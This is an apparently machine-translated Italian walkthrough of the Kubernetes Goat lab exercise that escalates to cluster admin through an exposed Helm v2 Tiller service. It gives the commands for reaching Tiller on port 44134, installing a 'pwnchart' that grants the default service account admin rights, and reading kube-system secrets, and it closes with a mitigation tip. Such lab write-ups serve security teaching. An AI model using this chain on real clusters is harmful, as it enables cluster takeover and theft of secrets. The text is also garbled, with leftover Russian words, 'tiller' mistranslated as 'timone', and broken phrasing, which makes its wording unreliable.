Helm è un gestore di pacchetti per Kubernetes, qualcosa del genere apt-get
per Ubuntu. In questa nota vedremo la versione precedente di helm (v2) con il servizio tiller installato di default, attraverso il quale accederemo al cluster.
Prepariamo il cluster; per fare ciò eseguiamo il comando:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Демонстрация
- Se non si configura nulla in più, helm v2 avvia il servizio del timone, che dispone di RBAC con diritti di amministratore del cluster completi.
- Dopo l'installazione nello spazio dei nomi
kube-system
появляетсяtiller-deploy
, e apre anche la porta 44134, legata a 0.0.0.0. Questo può essere verificato utilizzando telnet.
$ telnet tiller-deploy.kube-system 44134
- Ora puoi connetterti al servizio timone. Utilizzeremo il binario del timone per eseguire operazioni durante la comunicazione con il servizio del timone:
$ helm --host tiller-deploy.kube-system:44134 version
- Proviamo a ottenere i segreti del cluster Kubernetes dallo spazio dei nomi
kube-system
:
$ kubectl get secrets -n kube-system
- Ora possiamo creare il nostro grafico, in cui creeremo un ruolo con diritti di amministratore e assegneremo questo ruolo all'account di servizio predefinito. Utilizzando il token di questo account di servizio, abbiamo ricevuto l'accesso completo al nostro cluster.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Ora quando
pwnchart
distribuito, l'account di servizio predefinito dispone dell'accesso amministrativo completo. Controlliamo di nuovo come ottenere segreti dakube-system
kubectl get secrets -n kube-system
La corretta esecuzione di questo script dipende da come è stato distribuito tiller; a volte gli amministratori lo distribuiscono in uno spazio dei nomi separato con privilegi diversi. Helm 3 non è suscettibile a tali vulnerabilità perché... non c'è alcuna barra del timone in esso.
Nota del traduttore: L'utilizzo di policy di rete per filtrare il traffico in un cluster aiuta a proteggersi da questo tipo di vulnerabilità.
Fonte: habr.com